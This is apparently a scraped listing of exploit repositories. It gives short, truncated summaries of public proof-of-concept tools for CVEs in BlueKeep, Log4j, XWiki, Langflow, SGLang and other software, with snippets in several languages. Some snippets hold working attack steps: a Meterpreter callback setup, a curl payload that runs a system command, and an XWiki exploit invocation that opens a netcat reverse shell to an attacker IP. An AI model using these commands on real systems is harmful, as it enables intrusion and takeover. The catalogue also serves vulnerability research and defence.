cve-2019-0708_bluekeep_rce

Run msfconsole meterpreter/multi/handler listening on 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Edit config, configure callback IP and port 192.168.116.133 6000 4. Execute ./heapspray 192.168.116.134 134 is the XP address, memory = 2G 5. msfconsole meterpreter will get a session ps:...

CVE-2020-9548

CVE-2020-9548: FasterXML/jackson-databind Remote Code Execution Vulnerability...

SGLang-0.5.9-RCE

SGLang SSTI to RCE PoC — Unsandboxed Jinja2 Chat Template Rendering CVE-2026-5760 Remote Code Execution via Server-Side Template Injection SSTI in SGLang's reranking endpoint. A malicious GGUF model file with a crafted tokenizer.chattemplate achieves arbitrary code execution when loaded into SGLa...

ez-iRZ

ez-iRZ Exploit for CVE-2022-27226 Cross Site Request Forgery to Remote Code Execution in iRZ Mobile Routers Credits John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis Description A CSRF issue on iRZ Mobile Routers through...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example Среда для CVE-2022-22980 Сборка Docker-окружения root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo PoC root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei 템플릿 이 저장소에는 CVE-2024-4577로 식별된 PHP CGI 인자 주입 취약점을 탐지하기 위한 Nuclei 템플릿이 포함되어 있습니다. 템플릿 상세 정보 root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI Argument Injection...

CVE-2026-5027-Langflow

CVE-2026-5027 and CVE-2026-10520 CVE-2026-25089 exploiter: Clone root@kitploit: git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git cd CVE-2026-5027-Langflow Usage exploit.py file Automatic testing and exploitation. root@kitploit: python3 exploit.py -u https://target.com CLI custom...

CVE-2022-25765-exploit

CVE-2022-25765 — Command Injection в pdfkit Описание CVE-2022-25765 — это уязвимость внедрения команд Command Injection, затрагивающая pdfkit Ruby gem в версиях 0.8.7.2. Уязвимость имеет КРИТИЧЕСКУЮ степень опасности с CVSS 9.8, так как позволяет удаленное выполнение команд без аутентификации...

CVE-2023-31902

CVE-2023-31902 — Mobile Mouse 3.6.0.4 Remote Code Execution Summary: Mobile Mouse is a Windows application that turns your phone into a mouse/keyboard over the network. It listens on port 9099 TCP and 35913 WebSocket with no authentication by default. The vulnerability allows an unauthenticated...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tricks 📝 Description CVE-2021-44228 works on: log4j: 2.0 = Apache log4j = 2.14.1 Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows...

CVE-2025-15467

CVE-2025-15467 Stack buffer overflow in OpenSSL CMS AuthEnvelopedData parsing. Vulnerability A stack buffer overflow exists in evpciphergetasn1aeadparams when parsing AEAD cipher parameters e.g., AES-GCM in CMS AuthEnvelopedData content. An oversized IV overflows a 16-byte stack buffer, allowing...

CVE-2025-48384-RCE

CVE-2025-48384-RCE...

CVE-2024-29399

CVE-2024-29399 Vulnerability Details Overview In Savane v3.13 and prior, a lack of validation on uploaded files can allow for privilege escalation. Web servers configured according to the installation instructions are vulnerable to Cross-Site Scripting XSS. In misconfigured web servers this can...

CVE-2025-24893

CVE-2025-24893 Remote Code Execution exploit for XWiki for versions prior to 15.10.11, 16.4.1 and 16.5.0RC1. Usage root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use it only for ethical purposes :...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit The CVE-2023-4220 vulnerability is a file upload vulnerability affecting Chamilo versions = 1.11.24. This vulnerability allows an attacker to achieve remote command execution by uploading a webshell via the path /main/inc/lib/javascript/bigupload/inc/bigUpload.php,...

Stutsfi

Stutsfi An exploit for CVE-2017-5638 Remote Code Execution RCE Vulnerability in Apache Struts 2...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar from https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget USE EXP...

CVE-2026-42945

RIFT — 원격 주입 및 결함 트리거 Remote Injection & Fault Trigger 저자: Michael Sanji Winaya Prawiradibrata AI 공동 저자: Varanus — sahabatku NGINX의 ngxhttprewritemodule을 대상으로 하는 힙 버퍼 오버플로우 익스플로잇 프레임워크. 정찰 + 익스플로잇을 하나로 통합한 도구. 외부 의존성 없음. 저장소 내용 파일| 설명 ---|--- rift.py| 메인 도구. 정찰recon과 익스플로잇exploit을 하나의 스크립트로 결합...

CVE-2025-54123-Poc

CVE-2025-54123 Exploit Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL Vulnerability Hoverfly = 1.11.3 is vulnerable to authenticated command injection through the /api/v2/hoverfly/middleware endpoint. Admin credentials are required, but once authenticated, the...